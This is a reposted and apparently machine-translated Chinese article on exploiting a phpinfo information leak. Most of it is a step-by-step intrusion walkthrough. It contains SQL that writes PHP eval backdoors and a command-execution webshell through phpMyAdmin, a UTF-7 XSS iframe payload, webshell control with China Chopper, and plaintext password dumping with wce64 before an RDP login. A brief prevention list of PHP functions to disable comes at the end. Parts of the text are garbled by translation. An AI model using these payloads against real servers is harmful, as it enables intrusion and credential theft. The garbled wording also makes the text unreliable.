51CTO网络+首届中国APP创新评选大赛>;
phpstudy等一些默认安装包,经常出现在phpInfo函数的信息泄露漏洞中。默认安装完成后,这些提供环境测试的文件不会被及时删除,这在phpinfo.php、1.php和test.php较为常见。虽然PHP环境和变量是通过phpinfo获得的,但是这些信息的泄露,加上其他一些漏洞,可能会导致系统渗透和权限提取。
1.1phpinfo功能
PHP中提供了PHPInfo()函数,返回PHP的所有信息,包括PHP的编译选项和扩展配置、PHP版本、服务器信息和环境变量、PHP环境变量、操作系统版本信息、路径和环境变量配置、HTTP头、版权声明等信息。该功能定义如下:
语法:int phpinfo(void);
返回值:整数
函数类型:PHP系统函数
例如,创建一个新的php文件并输入以下内容:
& lt?PHP phpinfo();?>。
1.2phpinfo信息泄露
该功能主要用于测试网站建设过程中搭建的PHP环境是否正确。很多网站在测试后没有及时删除,所以在访问这些测试页面时,会输出服务器的关键信息,而这些信息的泄露会导致服务器被渗透的风险。
& lthtml>。& lthead>。& ltMETA HTTP-EQUIV = " CONTENT-TYPE " CONTENT = " text/html;字符集=UTF-7 " >;& lt/head>。& ltbody>。& ltiframe src = " http://domain name/phpinfo . PHP?ADw-AD4-alert(document . domain);ADw-/ AD4-=1 " >
1.3 phpinfo泄漏渗透示例
1.分析phpinfo函数公开的有用信息
我们可以从phpInfo.php计划网站的运行结果中获得以下有用信息:
(1)操作系统为Windows2008 Server或windows 7:windows nt bnkumdfi 6.1 build 7601
(2)服务器使用Apache 2.4,也就是说得到Webshell后可以成功提升99%的权限。Apache在Windows环境下权限极高,默认为System权限。
(3)网站默认路径:D:/WWW。如果直接通过mssql或者mysql导入一句话,需要知道网站的真实路径。这个好办。
图1获取有用信息
2.检查泄露的文件
访问根目录,如图2所示,发现有mail和三个文件目录,其中有一个phpMyAdmin,是mysql的php管理。有了这个,你只要拿到数据库密码就可以导入导出数据,包括导出一个word后门。下载压缩文件并查看数据库配置文件。
图2查看其他泄露的文件
3.获取数据库密码
在邮件文件夹中,发现数据库连接文件是connection文件。打开后获取数据库用户和密码,其中数据库用户为root,密码为空。
图3获取数据库用户帐户和密码
4.连接并查看数据库
如图4所示,打开http://183。* * * .160.* * *:5555/phpmyadmin/在浏览器中,输入刚获得的账号,直接登录,登录后查看其所有数据库。
图4登录并查看数据库
5.将句子导出回服务器
目前有几种方法可以出口一句后门:
(1)创建表格模式
CREATE TABLE ` MySQL `.` dark moon `(` dark moon 1 ` TEXT NOT NULL);INSERT INTO ` MySQL ` . ` dark moon `(` dark moon 1 `)VALUES(& lt;?PHP @ eval($ _ POST[pass]);?& gt');SELECT ` dark moon 1 ` FROM ` dark moon ` INTO OUTFILE ' d:/www/exe hack . PHP ';如果存在“暗月”,则丢弃表格;
上面的代码是在mysql数据库中创建一个darkmoon表,然后添加一个名为darkmoon1的字段,在darkmoon1字段中插入一个句子代码,然后从darkmoon1字段导出一个句子到网站的真实路径“d:/www/exehack.php”,最后删除darkmoon表,执行效果如图5所示。
图5。执行sql脚本程序导出一句话
注意:使用上述代码时,必须选择mysql数据库,在phpMyAdmin中选择sql,然后执行上述代码。需要修改的是网站的真实路径和文件名“d:/www/exehack.php”
(2)直接导出一句话的后门文件
选择' & lt?PHP @ eval($ _ POST[pass]);?& gt'' d:/www/p.php '
如果结果类似于“您的SQL语句已成功运行(查询耗时0.0006秒)”,则表明后门文件已成功生成。
(3)具有直接指挥权限的shell
选择' & lt?php echo ' & ltpre>。';system($ _ GET[ ' cmd ']);echo ' & lt/pre >';?& gt'' d:/www/cmd.php '
方法导出成功后,可以直接执行DOS命令,方法:www.xxx.com/cmd.php?Cmd=(cmd=稍后直接执行dos命令),如图6所示。
图6导入可以执行命令的网络外壳
6.获取webshell
访问网站上导出的webshell,如图7所示。如果没有显示错误,表示可以运行。在中文菜刀的一句话后门管理中添加地址,直接得到webshell,如图8所示。
图7测试导出的网络外壳
图8获取网络外壳
7.服务器授权
通过中国菜刀队远程终端命令,直接执行命令,如图9所示,可以检查是否打开端口3389。系统当前用户的权限就是系统权限,查看用户当前使用的是什么。上传wce64.exe并执行“wce64 -w”以获得当前登录明文密码。
图9执行命令
图10获取系统管理员密码
8.登录3389
在本地打开mstsc.exe,直接输入用户名和密码登录。成功登录到服务器,如图11所示。
图10成功登录到服务器
9.总结
系统的一个小错误,加上一些偶然因素,导致系统被渗透并获得服务器权限,因此phpinfo.php的信息泄露不容忽视。Phpinfo信息泄露也可以用于跨站点攻击,下面的代码保存为1.html。
10.预防措施
(1)通过在服务器环境中修改php.ini文件,将“expose_php = On”改为“expose_php = Off”,重启php。
(2)如果确实需要测试信息,在测试过程中使用,测试结束后删除文件。
(3)如果不需要禁用某些php危险函数,打开/etc/php.ini文件,找到disable_functions,添加以下要禁用的函数名:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,
proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,
symlink,popepassthru,stream_socket_server,fsocket,fsockopen
[编辑推荐]
[负责编辑:蓝宇泪电话:(010) 68476606]
比如0
1.《phpinfo PHPInfo信息泄漏漏洞利用提权及防范》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《phpinfo PHPInfo信息泄漏漏洞利用提权及防范》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/fangchan/1625716.html